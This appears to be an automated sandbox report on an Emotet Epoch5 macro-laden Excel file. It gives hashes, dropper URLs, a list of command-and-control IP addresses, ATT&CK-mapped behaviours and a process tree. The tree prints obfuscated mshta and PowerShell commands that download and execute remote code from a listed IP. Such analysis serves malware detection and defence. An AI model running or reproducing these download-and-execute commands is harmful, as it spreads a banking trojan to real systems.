emotet | d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b

General

Target

762043.xlsm
Size

112KB
MD5

053f14a5b426e59114e1d03032de2c84
SHA1

06a9f5543017c46a7a89abbc3c8a3add7f8fa3f3
SHA256

d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b
SHA512

e04eb2bb27f8d9f6a9949a7d8e1f60f7685d2166fc5e0510297126b16973579d8cc9ef7654a0fc6e34e5036f15edae8c8b009360876ae868d9e5a08eab906452

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/ru/ru.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/ru/ru.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1636	312	cmd.exe	50

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2240 created 3436	2240	WerFault.exe	59

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
19	3436	mshta.exe
23	1196	powershell.exe
25	1196	powershell.exe
34	660	rundll32.exe
35	660	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
2464	rundll32.exe
3460	rundll32.exe
1264	rundll32.exe
660	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Ylrfngsmnuokzf\zlkku.aaw	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2576	3436	WerFault.exe	59

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
312	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1196	powershell.exe
1196	powershell.exe
2576	WerFault.exe
2576	WerFault.exe
660	rundll32.exe
660	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1196	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE
312	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 312 wrote to memory of 1636	312	EXCEL.EXE	57
PID 312 wrote to memory of 1636	312	EXCEL.EXE	57
PID 1636 wrote to memory of 3436	1636	cmd.exe	59
PID 1636 wrote to memory of 3436	1636	cmd.exe	59
PID 3436 wrote to memory of 1196	3436	mshta.exe	62
PID 3436 wrote to memory of 1196	3436	mshta.exe	62
PID 2240 wrote to memory of 3436	2240	WerFault.exe	59
PID 2240 wrote to memory of 3436	2240	WerFault.exe	59
PID 1196 wrote to memory of 3988	1196	powershell.exe	65
PID 1196 wrote to memory of 3988	1196	powershell.exe	65
PID 3988 wrote to memory of 2464	3988	cmd.exe	66
PID 3988 wrote to memory of 2464	3988	cmd.exe	66
PID 3988 wrote to memory of 2464	3988	cmd.exe	66
PID 2464 wrote to memory of 3460	2464	rundll32.exe	67
PID 2464 wrote to memory of 3460	2464	rundll32.exe	67
PID 2464 wrote to memory of 3460	2464	rundll32.exe	67
PID 3460 wrote to memory of 1264	3460	rundll32.exe	71
PID 3460 wrote to memory of 1264	3460	rundll32.exe	71
PID 3460 wrote to memory of 1264	3460	rundll32.exe	71
PID 1264 wrote to memory of 660	1264	rundll32.exe	72
PID 1264 wrote to memory of 660	1264	rundll32.exe	72
PID 1264 wrote to memory of 660	1264	rundll32.exe	72

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\762043.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:312
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\system32\mshta.exe
    mshta http://92.255.57.195/ru/ru.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1196
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3988
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2464
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3460
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ylrfngsmnuokzf\zlkku.aaw",rHLjEMDiS
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1264
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ylrfngsmnuokzf\zlkku.aaw",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:660
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3436 -s 1732
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2576

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 420 -p 3436 -ip 3436
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:2240

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/312-134-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

Filesize
64KB

Download
memory/312-138-0x00007FF7FF550000-0x00007FF7FF560000-memory.dmp

Filesize
64KB

Download
memory/312-130-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

Filesize
64KB

Download
memory/312-137-0x00007FF7FF550000-0x00007FF7FF560000-memory.dmp

Filesize
64KB

Download
memory/312-133-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

Filesize
64KB

Download
memory/312-132-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

Filesize
64KB

Download
memory/312-131-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

Filesize
64KB

Download
memory/660-217-0x0000000004E80000-0x0000000004EA8000-memory.dmp

Filesize
160KB

Download
memory/660-215-0x0000000004D90000-0x0000000004DB8000-memory.dmp

Filesize
160KB

Download
memory/660-213-0x0000000004C70000-0x0000000004C98000-memory.dmp

Filesize
160KB

Download
memory/660-211-0x0000000004B60000-0x0000000004B88000-memory.dmp

Filesize
160KB

Download
memory/660-209-0x0000000004A80000-0x0000000004AA8000-memory.dmp

Filesize
160KB

Download
memory/660-207-0x0000000004A20000-0x0000000004A48000-memory.dmp

Filesize
160KB

Download
memory/1196-174-0x000001DE22800000-0x000001DE22822000-memory.dmp

Filesize
136KB

Download
memory/1196-188-0x000001DE22DA0000-0x000001DE22E16000-memory.dmp

Filesize
472KB

Download
memory/1196-180-0x000001DE0A6D6000-0x000001DE0A6D8000-memory.dmp

Filesize
8KB

Download
memory/1196-179-0x000001DE0A6D3000-0x000001DE0A6D5000-memory.dmp

Filesize
8KB

Download
memory/1196-178-0x000001DE0A6D0000-0x000001DE0A6D2000-memory.dmp

Filesize
8KB

Download
memory/1196-177-0x000001DE22CD0000-0x000001DE22D14000-memory.dmp

Filesize
272KB

Download
memory/1264-200-0x0000000004A60000-0x0000000004A88000-memory.dmp

Filesize
160KB

Download
memory/2464-183-0x0000000004000000-0x0000000004028000-memory.dmp

Filesize
160KB

Download
memory/3460-193-0x0000000004D10000-0x0000000004D38000-memory.dmp

Filesize
160KB

Download
memory/3460-195-0x0000000004D70000-0x0000000004D98000-memory.dmp

Filesize
160KB

Download
memory/3460-191-0x0000000004C10000-0x0000000004C38000-memory.dmp

Filesize
160KB

Download
memory/3460-198-0x0000000004FF0000-0x0000000005018000-memory.dmp

Filesize
160KB

Download
memory/3460-186-0x00000000043C0000-0x00000000043E8000-memory.dmp

Filesize
160KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads